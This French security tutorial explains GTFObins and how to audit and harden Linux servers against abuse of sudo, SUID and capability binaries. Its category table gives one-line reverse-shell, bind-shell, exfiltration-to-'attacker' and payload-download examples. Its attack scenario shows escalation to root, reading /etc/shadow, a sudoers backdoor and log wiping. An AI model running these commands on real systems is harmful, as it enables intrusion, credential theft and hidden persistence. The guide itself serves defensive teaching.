Aller au contenu
Sécurité medium
🔐 Alerte sécurité — Incident supply chain Trivy : lire mon analyse de l'attaque

GTFObins : détecter et bloquer les binaires Linux exploitables

18 min de lecture

logo gtfo

Un serveur Linux standard contient des dizaines de binaires exploitables : find, vim, awk, tar, python… Tous installés par défaut, tous capables d’exécuter des commandes arbitraires, lire des fichiers protégés ou ouvrir un shell root si les permissions sont mal configurées. GTFObins est la base de données de référence qui catalogue plus de 400 de ces binaires et explique comment les détourner — ou les verrouiller.

Ce guide vous apprend à auditer vos serveurs, tester les techniques d’exploitation les plus courantes et durcir vos configurations. Il s’adresse aux administrateurs système et aux débutants en sécurité offensive.

  • Ce qu’est GTFObins et comment l’utiliser
  • Les 4 contextes d’exploitation (non privilégié, sudo, SUID, capabilities)
  • Les 11 catégories de fonctions exploitables (shell, file read, reverse shell…)
  • 5 techniques testées pas à pas sur votre machine
  • Un plan de durcissement en 7 points pour sécuriser vos serveurs

GTFObins (« Get The F*** Out Binaries ») est un catalogue collaboratif de binaires Unix dont les fonctionnalités légitimes peuvent être détournées pour contourner des restrictions de sécurité.

L’analogie est simple : imaginez une boîte à outils dans un atelier. Chaque outil a un usage prévu — tournevis, marteau, scie. Mais entre de mauvaises mains, ces mêmes outils deviennent des armes. GTFObins est le catalogue de ces détournements pour les binaires Linux.

Le projet a été créé en 2018 par Emilio Pinna et Andrea Cardaci, deux chercheurs en sécurité. Il est hébergé sur gtfobins.org (anciennement gtfobins.github.io) et compte plus de 12 700 étoiles sur GitHub. La communauté contribue activement en ajoutant de nouveaux binaires et techniques.

AspectDétail
ObjectifCataloguer les usages détournés des binaires Unix
Nombre de binaires400+ documentés
Équivalent WindowsLOLBAS
Équivalent CI/CDLOTP
LicenceOpen source (GitHub)
APIJSON disponible sur gtfobins.org/api.json
  • Un système Linux (Ubuntu, Debian, Rocky, ou autre)
  • Accès à un terminal en tant qu’utilisateur standard
  • Connaissances de base en ligne de commande (cd, ls, cat, chmod)
  • Idéalement : une machine virtuelle ou un conteneur pour les tests

GTFObins classe les exploits selon 4 contextes qui déterminent quel niveau de privilège l’attaquant peut atteindre.

L’attaquant exécute le binaire sans aucune élévation de privilège. Il agit avec ses propres droits.

C’est le cas le plus courant : un utilisateur standard qui lance awk, python3 ou find avec ses propres permissions. Le risque existe si le binaire permet d’exécuter des commandes système — par exemple, un shell restreint peut être contourné via awk 'BEGIN {system("/bin/sh")}'.

L’utilisateur peut exécuter certains binaires avec sudo grâce à une règle dans /etc/sudoers. Si le binaire autorisé est dans GTFObins, il peut servir de tremplin vers un shell root.

Un exemple classique : si /etc/sudoers contient user ALL=(ALL) NOPASSWD: /usr/bin/vim, alors sudo vim -c ':!/bin/sh' donne un shell root.

Le bit SUID (Set User ID) permet à un binaire de s’exécuter avec les privilèges de son propriétaire (souvent root), quel que soit l’utilisateur qui le lance.

Quand un binaire SUID figure dans GTFObins, n’importe quel utilisateur local peut potentiellement obtenir un shell root. C’est l’un des vecteurs d’escalade de privilèges les plus recherchés en pentest.

Les Linux Capabilities sont un mécanisme plus fin que SUID. Au lieu de donner tous les droits root, on accorde des permissions spécifiques (accès réseau raw, changement d’utilisateur, etc.).

Mais certaines capabilities, comme cap_setuid, permettent à un binaire de changer d’identité — ce qui revient à une escalade de privilèges si le binaire est dans GTFObins.

ContexteCommande d’auditCe qu’on cherche
Sudosudo -lBinaires autorisés sans mot de passe
SUIDfind / -perm -4000 -type f 2>/dev/nullBinaires avec le bit SUID
Capabilitiesgetcap -r / 2>/dev/nullBinaires avec capabilities

Ce diagramme synthétise les 4 phases de travail avec GTFObins — de la reconnaissance des binaires à risque jusqu’aux actions de durcissement.

Flux d'exploitation et durcissement GTFObins : reconnaissance, identification, exploitation, durcissement

Chaque binaire dans GTFObins est classé selon les fonctions qu’il peut détourner. Voici les 11 catégories, de la plus courante à la plus spécialisée.

CatégorieDescriptionExemple
ShellOuvrir un shell interactifawk 'BEGIN {system("/bin/sh")}'
CommandExécuter une commande uniquefind /dev/null -exec id \;
File ReadLire un fichier protégédd if=/etc/shadow 2>/dev/null
File WriteÉcrire dans un fichier protégéecho "data" | tee /etc/cron.d/backdoor
Reverse ShellConnexion sortante vers l’attaquantbash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Bind ShellOuvrir un port en écoutenc -l -p 4444 -e /bin/sh
UploadEnvoyer un fichier depuis la ciblecurl -F 'f=@/etc/passwd' http://attacker/
DownloadTélécharger un fichier sur la ciblewget http://attacker/payload -O /tmp/p
Library LoadCharger une bibliothèque .soLD_PRELOAD=/tmp/malicious.so cmd
Privilege EscalationEscalade directe (chmod, chown)chmod u+s /bin/bash
InheritHériter des privilèges d’un pagerPAGER='sh -c "exec sh"' man ls

Passons à la pratique. Ces 5 techniques sont testables sur n’importe quelle machine Linux sans avoir besoin de droits root (sauf mention contraire). Chaque technique démontre un type d’exploitation différent.

Pourquoi c’est possible : awk dispose de la fonction system() qui exécute n’importe quelle commande système. Si awk est autorisé en sudo ou possède le bit SUID, cette fonction hérite des privilèges élevés.

  1. Exécuter une commande système via awk :

    Fenêtre de terminal
    awk 'BEGIN {system("id")}'

    Résultat attendu : la commande id affiche votre uid, gid et groupes.

  2. Lire un fichier via awk :

    Fenêtre de terminal
    echo "donnee_sensible" > /tmp/gtfo-test.txt
    awk '{print}' /tmp/gtfo-test.txt

    Résultat attendu : le contenu du fichier s’affiche.

  3. Vérification — nettoyez le fichier de test :

    Fenêtre de terminal
    rm -f /tmp/gtfo-test.txt

Impact si SUID/sudo : un attaquant obtient un shell root avec awk 'BEGIN {system("/bin/sh")}'.

Pour comprendre comment un attaquant combine ces techniques, voici un scénario réaliste en 5 étapes. Il illustre la méthodologie classique d’escalade de privilèges sur un serveur Linux.

  1. Reconnaissance — identifier les vecteurs d’escalade :

    L’attaquant, connecté en tant qu’utilisateur standard, lance trois commandes d’audit :

    Fenêtre de terminal
    # Binaires SUID
    find / -perm -4000 -type f 2>/dev/null
    # Permissions sudo
    sudo -l
    # Capabilities
    getcap -r / 2>/dev/null

    Résultat : find est SUID root et vim est autorisé en sudo sans mot de passe.

  2. Exploitation — obtenir un shell root :

    L’attaquant consulte GTFObins pour find et vim, puis choisit la méthode la plus directe :

    Fenêtre de terminal
    # Via le SUID sur find
    find . -exec /bin/sh -p \; -quit

    Résultat : un shell root s’ouvre.

  3. Exfiltration — lire les fichiers sensibles :

    Avec les droits root, l’attaquant accède aux informations critiques :

    Fenêtre de terminal
    cat /etc/shadow

    Ce fichier contient les mots de passe hachés de tous les utilisateurs du système. Il peut être craqué hors ligne avec des outils comme hashcat ou john.

  4. Persistance — maintenir l’accès :

    L’attaquant crée un accès permanent en ajoutant une règle sudoers :

    Fenêtre de terminal
    echo "attacker ALL=(ALL) NOPASSWD: ALL" | tee /etc/sudoers.d/backdoor

    Même si le SUID sur find est ensuite corrigé, l’attaquant conserve un accès root via sa propre règle sudo.

  5. Couverture — effacer les traces :

    Fenêtre de terminal
    rm -f /var/log/auth.log
    history -c

    L’attaquant supprime les journaux d’authentification et l’historique des commandes pour retarder la détection.

Maintenant que vous comprenez les techniques, voici comment verrouiller vos serveurs contre ces exploits.

  1. Auditer les binaires SUID — identifiez et retirez les SUID inutiles :

    Fenêtre de terminal
    # Lister tous les SUID
    find / -perm -4000 -type f 2>/dev/null
    # Retirer le SUID d'un binaire non nécessaire
    chmod u-s /usr/bin/find

    Vérification : relancez la commande find / -perm -4000 — le binaire ne doit plus apparaître.

  2. Verrouiller sudo — restreignez les commandes autorisées et bannissez les binaires interactifs :

    /usr/bin/vim
    # Dans /etc/sudoers (via visudo)
    # DANGEREUX : autorise vim sans restriction
    #
    # SÉCURISÉ : autorise uniquement systemctl restart
    user ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx

    Règle : ne jamais autoriser en sudo des binaires à shell escape (vim, less, man, awk, python, perl, ruby, node).

  3. Vérifier les capabilities — retirez les capabilities excessives :

    Fenêtre de terminal
    # Lister
    getcap -r / 2>/dev/null
    # Retirer une capability
    setcap -r /usr/bin/python3
  4. Bloquer les connexions sortantes — empêchez les reverse shells :

    Fenêtre de terminal
    # Avec ufw : bloquer tout en sortie sauf HTTP/HTTPS/DNS
    ufw default deny outgoing
    ufw allow out 80/tcp
    ufw allow out 443/tcp
    ufw allow out 53/udp
  5. Supprimer les binaires inutiles — désinstallez les interpréteurs et outils réseau non nécessaires :

    Fenêtre de terminal
    # Si Python, PHP ou Ruby ne sont pas nécessaires sur un serveur
    apt remove --purge python3 php ruby
    # Si netcat n'est pas nécessaire
    apt remove --purge netcat-openbsd
  6. Centraliser les logs — empêchez un attaquant d’effacer ses traces en envoyant les journaux vers un serveur distant (rsyslog, Loki, etc.) :

    /etc/rsyslog.d/remote.conf
    *.* @@logserver.internal:514
  7. Automatiser les audits — utilisez un outil comme Lynis pour détecter automatiquement les mauvaises configurations :

    Fenêtre de terminal
    lynis audit system

    Lynis vérifie les SUID, les permissions sudo, les capabilities et des centaines d’autres points de sécurité.

SymptômeCause probableSolution
find / -perm -4000 ne retourne rienDroits insuffisants ou filesystem monté avec nosuidLancer avec sudo ou vérifier les options de montage
sudo -l demande un mot de passeL’utilisateur n’est pas dans le fichier sudoersSe connecter en tant que l’utilisateur cible ou vérifier /etc/sudoers
getcap indique command not foundLa commande n’est pas installéeInstaller : apt install libcap2-bin
Le shell SUID ignore les privilègesLe shell utilise -p mais bash drop les privs par défautUtiliser /bin/sh -p au lieu de /bin/bash — dash conserve les SUID
tar --checkpoint-action ne s’exécute pasVersion BSD de tar (macOS)Installer GNU tar : apt install tar (par défaut sur Linux)
Le reverse shell ne se connecte pasConnexions sortantes bloquées par firewallVérifier les règles iptables/ufw — le durcissement fonctionne
  • GTFObins catalogue 400+ binaires Unix dont les fonctions légitimes permettent de contourner des restrictions de sécurité. Ce ne sont pas des vulnérabilités, mais des fonctionnalités détournées.

  • 4 contextes d’exploitation : non privilégié, sudo, SUID et capabilities. L’audit de ces trois derniers est la première étape de tout durcissement.

  • Les binaires les plus dangereux en sudo/SUID sont ceux qui ont un « shell escape » : vim, less, man, awk, python, perl, find, tar.

  • La remédiation passe par 3 axes : retirer les SUID inutiles, restreindre sudo aux commandes spécifiques (pas aux binaires interactifs), et bloquer les connexions sortantes.

  • Automatisez les audits avec Lynis pour détecter les configurations à risque avant qu’un attaquant ne le fasse.

  • GTFObins a un équivalent pour les pipelines CI/CD : LOTP catalogue 59 outils de développement dont les fichiers de config exécutent du code.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn